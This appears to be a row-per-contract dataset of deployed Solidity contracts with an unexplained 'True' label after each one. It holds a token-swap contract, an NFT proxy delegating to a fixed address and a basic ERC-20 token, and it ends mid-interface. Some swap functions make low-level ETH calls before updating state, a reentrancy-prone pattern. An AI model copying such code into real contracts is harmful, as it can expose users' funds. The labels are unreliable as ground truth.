closeContractAddress: erc20ContractAddress,
swapType: SwapType.ETH_TO_ERC20,
status: Status.OPEN
});
emit Open(_swapId, msg.sender, erc20Trader);
}
function _openERC20ToEther(
uint256 erc20Value,
address erc20ContractAddress,
address payable ethTrader,
uint256 ethValue,
uint256 fee,
bool isFeeInSwap,
bool calcFeeUsingTotalSupply
)
private
whenNotPaused
onlyContract(erc20ContractAddress)
{
require(ethValue > 0, "[Validation] The ETH amount has to be larger than 0");
require(erc20Value > 0, "[Validation] The ERC-20 amount has to be larger than 0");
if(!isFreeToken(erc20ContractAddress)) {
//Transfer fee to the wallet
if(isFeeInSwap){
uint256 minRequiredFeeInSwap = getFeeInSwapForERC20(erc20Value, erc20ContractAddress, calcFeeUsingTotalSupply);
uint256 feeDiff = 0;
if( fee < minRequiredFeeInSwap ) {
feeDiff = minRequiredFeeInSwap.sub(fee);
uint256 feeSlippagePercentage = feeDiff.mul(100).div(minRequiredFeeInSwap);
//will allow if diff is less than 5%
require(feeSlippagePercentage < _allowedFeeSlippagePercentage, "[Validation] Fee (SWAP) is below minimum required fee");
}
_distributeFees(minRequiredFeeInSwap);
}
else {
uint256 minRequiredFeeInEth = calcFeeUsingTotalSupply ?
getFeeInEthForERC20UsingTotalSupply(erc20Value, erc20ContractAddress) :
getFeeInEthForERC20(erc20Value, erc20ContractAddress);
require(fee >= minRequiredFeeInEth, "[Validation] Fee (ETH) is below minimum required fee");
require(msg.value >= minRequiredFeeInEth, "[Validation] msg.value doesn't contain enough ETH for fee");
(bool success,) = _feesWallet.call.value(minRequiredFeeInEth)("");
require(success, "[Validation] Transfer of fee failed");
}
}
// Transfer value from the opening trader to this contract.
IERC20 openERC20Contract = IERC20(erc20ContractAddress);
require(erc20Value <= openERC20Contract.allowance(msg.sender, address(this)));
require(openERC20Contract.transferFrom(msg.sender, address(this), erc20Value));
_swapId = _swapId.add(1);
// Store the details of the swap.
_swaps[_swapId] = Swap({
openValue: erc20Value,
openTrader: msg.sender,
openContractAddress: erc20ContractAddress,
closeValue: ethValue,
closeTrader: ethTrader,
closeContractAddress: ETH_ADDRESS,
swapType: SwapType.ERC20_TO_ETH,
status: Status.OPEN
});
emit Open(_swapId, msg.sender, ethTrader);
}
function _openERC20ToERC20(
uint256 openValue,
address openContractAddress,
uint256 closeValue,
address payable closeTrader,
address closeContractAddress,
uint256 fee,
bool isFeeInSwap,
bool calcFeeUsingTotalSupply
)
private
whenNotPaused
{
require(openValue > 0, "[Validation] The open ERC-20 amount has to be larger than 0");
require(closeValue > 0, "[Validation] The close ERC-20 amount has to be larger than 0");
if(!isFreeToken(openContractAddress)) {
//Transfer fee to the wallet
if(isFeeInSwap){
uint256 minRequiredFeeInSwap = getFeeInSwapForERC20(openValue, openContractAddress, calcFeeUsingTotalSupply);
uint256 feeDiff = 0;
if( fee < minRequiredFeeInSwap ) {
feeDiff = minRequiredFeeInSwap.sub(fee);
uint256 feeSlippagePercentage = feeDiff.mul(100).div(minRequiredFeeInSwap);
//will allow if diff is less than 5%
require(feeSlippagePercentage < _allowedFeeSlippagePercentage, "[Validation] Fee (SWAP) is below minimum required fee");
}
_distributeFees(minRequiredFeeInSwap);
}
else {
uint256 minRequiredFeeInEth = calcFeeUsingTotalSupply ?
getFeeInEthForERC20UsingTotalSupply(openValue, openContractAddress) :
getFeeInEthForERC20(openValue, openContractAddress);
require(fee >= minRequiredFeeInEth, "[Validation] Fee (ETH) is below minimum required fee");
require(msg.value >= minRequiredFeeInEth, "[Validation] msg.value doesn't contain enough ETH for fee");
(bool success,) = _feesWallet.call.value(minRequiredFeeInEth)("");
require(success, "[Validation] Transfer of fee failed");
}
}
// Transfer value from the opening trader to this contract.
IERC20 openERC20Contract = IERC20(openContractAddress);
require(openValue <= openERC20Contract.allowance(msg.sender, address(this)));
require(openERC20Contract.transferFrom(msg.sender, address(this), openValue));
_swapId = _swapId.add(1);
// Store the details of the swap.
_swaps[_swapId] = Swap({
openValue: openValue,
openTrader: msg.sender,
openContractAddress: openContractAddress,
closeValue: closeValue,
closeTrader: closeTrader,
closeContractAddress: closeContractAddress,
swapType: SwapType.ERC20_TO_ERC20,
status: Status.OPEN
});
emit Open(_swapId, msg.sender, closeTrader);
}
function close(
uint256 id,
uint256 fee,
bool isFeeInSwap,
bool calcFeeUsingTotalSupply
)
external
payable
onlyOpenSwaps(id)
{
Swap memory swap = _swaps[id];
require(swap.closeTrader == _msgSender(), "[Validation]: The caller is not authorized to close the trade");
if(SwapType.ETH_TO_ERC20 == swap.swapType)
{
_closeEtherToERC20(
id,
fee,
isFeeInSwap,
calcFeeUsingTotalSupply
);
}
else if(SwapType.ERC20_TO_ETH == swap.swapType)
{
_closeERC20ToEther(
id,
fee,
isFeeInSwap
);
}
else
{
_closeERC20ToERC20(
id,
fee,
isFeeInSwap,
calcFeeUsingTotalSupply
);
}
}
function _closeEtherToERC20(
uint256 id,
uint256 fee,
bool isFeeInSwap,
bool calcFeeUsingTotalSupply
)
private
onlyOpenSwaps(id)
{
Swap storage swap = _swaps[id];
if(!isFreeToken(swap.closeContractAddress)) {
//Transfer fee to the wallet
if(isFeeInSwap){
uint256 minRequiredFeeInSwap = getFeeInSwapForERC20(swap.closeValue, swap.closeContractAddress, calcFeeUsingTotalSupply);
uint256 feeDiff = 0;
if( fee < minRequiredFeeInSwap ) {
feeDiff = minRequiredFeeInSwap.sub(fee);
uint256 feeSlippagePercentage = feeDiff.mul(100).div(minRequiredFeeInSwap);
//will allow if diff is less than 5%
require(feeSlippagePercentage < _allowedFeeSlippagePercentage, "[Validation] Fee (SWAP) is below minimum required fee");
}
_distributeFees(minRequiredFeeInSwap);
}
else {
uint256 minRequiredFeeInEth = calcFeeUsingTotalSupply ?
getFeeInEthForERC20UsingTotalSupply(swap.closeValue, swap.closeContractAddress) :
getFeeInEthForERC20(swap.closeValue, swap.closeContractAddress);
require(fee >= minRequiredFeeInEth, "[Validation] Fee (ETH) is below minimum required fee");
require(msg.value >= minRequiredFeeInEth, "[Validation] msg.value doesn't contain enough ETH for fee");
(bool success,) = _feesWallet.call.value(minRequiredFeeInEth)("");
require(success, "[Validation] Transfer of fee failed");
}
}
// Close the swap.
swap.status = Status.CLOSED;
// Transfer the ERC20 funds from the ERC20 trader to the ETH trader.
IERC20 erc20Contract = IERC20(swap.closeContractAddress);
require(swap.closeValue <= erc20Contract.allowance(swap.closeTrader, address(this)));
require(erc20Contract.transferFrom(swap.closeTrader, swap.openTrader, swap.closeValue));
// Transfer the ETH funds from this contract to the ERC20 trader.
swap.closeTrader.transfer(swap.openValue);
emit Close(id);
}
function _closeERC20ToEther(
uint256 id,
uint256 fee,
bool isFeeInSwap
)
private
onlyOpenSwaps(id)
{
Swap storage swap = _swaps[id];
//Transferring fee to the wallet
if(isFeeInSwap){
require(msg.value >= swap.closeValue, "[Validation] Enough ETH not sent");
uint256 minRequiredFeeInSwap = getFeeInSwapForETH(swap.closeValue);
uint256 feeDiff = 0;
if( fee < minRequiredFeeInSwap ) {
feeDiff = minRequiredFeeInSwap.sub(fee);
uint256 feeSlippagePercentage = feeDiff.mul(100).div(minRequiredFeeInSwap);
//will allow if diff is less than 5%
require(feeSlippagePercentage < _allowedFeeSlippagePercentage, "[Validation] Fee (SWAP) is below minimum required fee");
}
_distributeFees(minRequiredFeeInSwap);
}
else {
uint256 minRequiredFeeInEth = getFeeInEthForEth(swap.closeValue);
require(fee >= minRequiredFeeInEth, "[Validation] Fee (ETH) is below minimum required fee");
require(msg.value >= swap.closeValue.add(minRequiredFeeInEth), "[Validation] Enough ETH not sent");
(bool success,) = _feesWallet.call.value(minRequiredFeeInEth)("");
require(success, "[Validation] Transfer of fee failed");
}
// Close the swap.
swap.status = Status.CLOSED;
// Transfer the opening funds from this contract to the eth trader.
IERC20 openERC20Contract = IERC20(swap.openContractAddress);
require(openERC20Contract.transfer(swap.closeTrader, swap.openValue));
(bool success,) = swap.openTrader.call.value(swap.closeValue)("");
require(success, "[Validation] Transfer of eth failed");
emit Close(id);
}
function _closeERC20ToERC20(
uint256 id,
uint256 fee,
bool isFeeInSwap,
bool calcFeeUsingTotalSupply
)
private
onlyOpenSwaps(id)
{
Swap storage swap = _swaps[id];
if(!isFreeToken(swap.closeContractAddress)) {
//Transfer fee to the wallet
if(isFeeInSwap){
uint256 minRequiredFeeInSwap = getFeeInSwapForERC20(swap.closeValue, swap.closeContractAddress, calcFeeUsingTotalSupply);
uint256 feeDiff = 0;
if( fee < minRequiredFeeInSwap ) {
feeDiff = minRequiredFeeInSwap.sub(fee);
uint256 feeSlippagePercentage = feeDiff.mul(100).div(minRequiredFeeInSwap);
//will allow if diff is less than 5%
require(feeSlippagePercentage < _allowedFeeSlippagePercentage, "[Validation] Fee (SWAP) is below minimum required fee");
}
_distributeFees(minRequiredFeeInSwap);
}
else {
uint256 minRequiredFeeInEth = calcFeeUsingTotalSupply ?
getFeeInEthForERC20UsingTotalSupply(swap.closeValue, swap.closeContractAddress) :
getFeeInEthForERC20(swap.closeValue, swap.closeContractAddress);
require(fee >= minRequiredFeeInEth, "[Validation] Fee (ETH) is below minimum required fee");
require(msg.value >= minRequiredFeeInEth, "[Validation] msg.value doesn't contain enough ETH for fee");
(bool success,) = _feesWallet.call.value(minRequiredFeeInEth)("");
require(success, "[Validation] Transfer of fee failed");
}
}
// Close the swap.
swap.status = Status.CLOSED;
// Transfer the closing funds from the closing trader to the opening trader.
IERC20 closeERC20Contract = IERC20(swap.closeContractAddress);
require(swap.closeValue <= closeERC20Contract.allowance(swap.closeTrader, address(this)));
require(closeERC20Contract.transferFrom(swap.closeTrader, swap.openTrader, swap.closeValue));
// Transfer the opening funds from this contract to the closing trader.
IERC20 openERC20Contract = IERC20(swap.openContractAddress);
require(openERC20Contract.transfer(swap.closeTrader, swap.openValue));
emit Close(id);
}
function cancel(uint256 id)
external
onlyOpenSwaps(id)
{
Swap memory swap = _swaps[id];
require(swap.openTrader == _msgSender(), "[Validation]: The caller is not authorized to cancel the trade");
if(SwapType.ETH_TO_ERC20 == swap.swapType) {
_cancelEtherToERC20(id);
}
else {
_cancelERC20(id);
}
}
function _cancelEtherToERC20(uint256 id)
private
onlyOpenSwaps(id)
{
// Cancel the swap.
Swap storage swap = _swaps[id];
swap.status = Status.CANCELLED;
// Transfer the ETH value from this contract back to the ETH trader.
swap.openTrader.transfer(swap.openValue);
emit Cancel(id);
}
function _cancelERC20(uint256 id)
private
onlyOpenSwaps(id)
{
// Cancel the swap.
Swap storage swap = _swaps[id];
swap.status = Status.CANCELLED;
// Transfer opening value from this contract back to the opening trader.
IERC20 openERC20Contract = IERC20(swap.openContractAddress);
require(openERC20Contract.transfer(swap.openTrader, swap.openValue));
emit Cancel(id);
}
function check(uint256 id)
external
view
returns (
uint256 openValue,
address openTrader,
address openContractAddress,
uint256 closeValue,
address closeTrader,
address closeContractAddress,
SwapType swapType,
Status status
)
{
Swap memory swap = _swaps[id];
return (
swap.openValue,
swap.openTrader,
swap.openContractAddress,
swap.closeValue,
swap.closeTrader,
swap.closeContractAddress,
swap.swapType,
swap.status
);
}
/**
* @dev called by admin to add given token to free tokens list
*/
function addTokenToFreeList(address token)
external
onlyOwner
onlyContract(token)
{
_listFreeTokens[token] = true;
}
/**
* @dev called by admin to remove given token from free tokens list
*/
function removeTokenFromFreeList(address token)
external
onlyOwner
onlyContract(token)
{
_listFreeTokens[token] = false;
}
/**
* @dev Checks if token is in free list
* @param token The address to check
*/
function isFreeToken(address token)
public
view
returns(bool)
{
return _listFreeTokens[token];
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-30
*/
// Sources flattened with hardhat v2.8.3 https://hardhat.org
// File @openzeppelin/contracts/proxy/[email protected]
// OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// File contracts/TabooTurtles.sol
pragma solidity ^0.8.4;
contract ERC721ContractWrapper is Proxy {
address internal constant _IMPLEMENTATION_ADDRESS = 0x0AaD9cf1D64301D6a37B1368f073E99DED6BECa5;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
constructor(
string memory _name,
string memory _symbol,
uint256 _totalSupply
) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = _IMPLEMENTATION_ADDRESS;
Address.functionDelegateCall(
_IMPLEMENTATION_ADDRESS,
abi.encodeWithSignature("initialize(string,string,uint256)", _name, _symbol, _totalSupply)
);
}
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
contract TabooTurtles is ERC721ContractWrapper {
constructor(
string memory _name,
string memory _symbol,
uint256 _totalSupply
) ERC721ContractWrapper(_name,_symbol,_totalSupply) {}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-01-11
*/
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract SIL is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 2;
_totalSupply = 120500*10**2;
_balances[msg.sender] = _totalSupply;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-02-28
*/
// File: @openzeppelin\contracts\token\ERC20\IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
